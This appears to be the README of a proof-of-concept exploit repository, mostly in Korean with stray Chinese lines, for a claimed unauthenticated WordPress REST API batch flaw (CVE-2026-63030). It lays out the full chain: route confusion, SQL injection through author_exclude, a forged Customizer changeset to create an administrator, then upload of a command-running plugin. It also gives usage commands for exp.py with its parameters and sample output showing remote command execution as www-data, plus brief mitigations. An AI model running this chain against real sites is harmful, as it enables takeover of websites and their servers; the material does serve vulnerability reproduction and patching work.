
WordPress 미인증 RCE EXP | CVE-2026-63030
WordPress REST API batch 라우트 혼동 + SQL 인젝션으로 인해 인증 없이 관리자 생성 → 원격 코드 실행이 가능한 전체 익스플로잇 체인 PoC입니다.
승인된 보안 테스트, 취약점 재현 및 연구용으로만 사용하십시오. 무단 대상에 대한 사용은 금지합니다.
| 항목 | 설명 |
|---|
| CVE | CVE-2026-63030 |
| 구성 요소 | WordPress Core REST API (/batch/v1) |
| 영향 버전 | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (공식 공지 기준) |
| 공격 전제 조건 | 대상이 REST API batch를 활성화해야 하며, 사이트에 게시된 글 또는 페이지가 최소 하나 있어야 함 |
| 권한 요구 사항 | 로그인 불필요 (Pre-Auth) |
| 영향 | 관리자 계정을 생성할 수 있으며, 추가로 플러그인을 업로드하여 RCE 실현 가능 |
REST batch 路由混淆
→ author__not_in SQL 注入
→ UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
→ Customizer 发布时切换为已有管理员上下文
→ REST /wp/v2/users 创建新管理员
→ 后台上传一次性插件
→ 执行系统命令
핵심은 "스택 쿼리로 데이터베이스에 쓰는 것"이 아니라 다음 과정입니다.
serve_batch_request_v1()의 검증 단계와 디스패치 단계에서 $matches / $validation 인덱스가 서로 맞지 않아 route confusion이 발생합니다.author_exclude가 WP_Query의 author__not_in에 들어가 NOT IN (...)에 연결되어 SQL 인젝션이 형성됩니다.UNION SELECT로 완전한 wp_posts 행을 위조하여 oEmbed / Customizer 로직을 트리거하고, 현재 사용자 컨텍스트를 기존 관리자로 전환합니다.proc_open / passthru / system / shell_exec / exec / popen 중 하나)disable_functions가 모든 명령 실행 함수를 비활성화한 경우에도 관리자 생성은 성공할 수 있지만, RCE 단계는 실패함CVE-2026-63030/
├── exp.py # 完整利用脚本(单文件,零依赖)
└── README.md # 本说明
id 실행)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
| 매개변수 | 필수 | 기본값 | 설명 |
|---|---|---|---|
--url | 예 | 없음 | 대상 WordPress 루트 URL |
--username | 아니요 | wp2_<hex> | 생성할 관리자 사용자 이름 |
--password | 아니요 | Wp2!<random> | 생성할 관리자 비밀번호 |
--email | 아니요 | <username>@wp2shell.invalid | 생성할 관리자 이메일 |
--command / -c | 아니요 | id | 일회용 플러그인을 통해 실행할 명령 |
--timeout | 아니요 | 60 | 단일 HTTP 타임아웃(초) |
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
스크립트는 종료 후 다음을 시도합니다:
중간에 실패하면 출력에 있는 계정/비밀번호를 확인하여 수동으로 정리하십시오.
has been disabled for security reasons 메시지가 나타나면 disable_functions가 해당 함수를 비활성화한 것입니다. PoC는 여러 실행 방식을 순차적으로 시도하며, 모두 비활성화된 경우 RCE는 불가능하지만 관리자 생성 단계는 여전히 성공할 수 있습니다.wp-admin/users.php와 wp-content/plugins/를 수동으로 확인하십시오./batch/v1에 대한 인증되지 않은 접근을 임시로 제한disable_functions와 최소 권한의 웹 사용자 구성을 유지하여 RCE 실현 영향을 최소화이 저장소의 코드는 보안 연구 및 승인된 취약점 재현 용도로만 사용됩니다. 사용자는 현지 법률 및 규정과 대상 시스템의 승인 범위를 준수하도록 스스로 확인해야 합니다. 저자는 어떠한 악용 행위에 대해서도 책임을 지지 않습니다.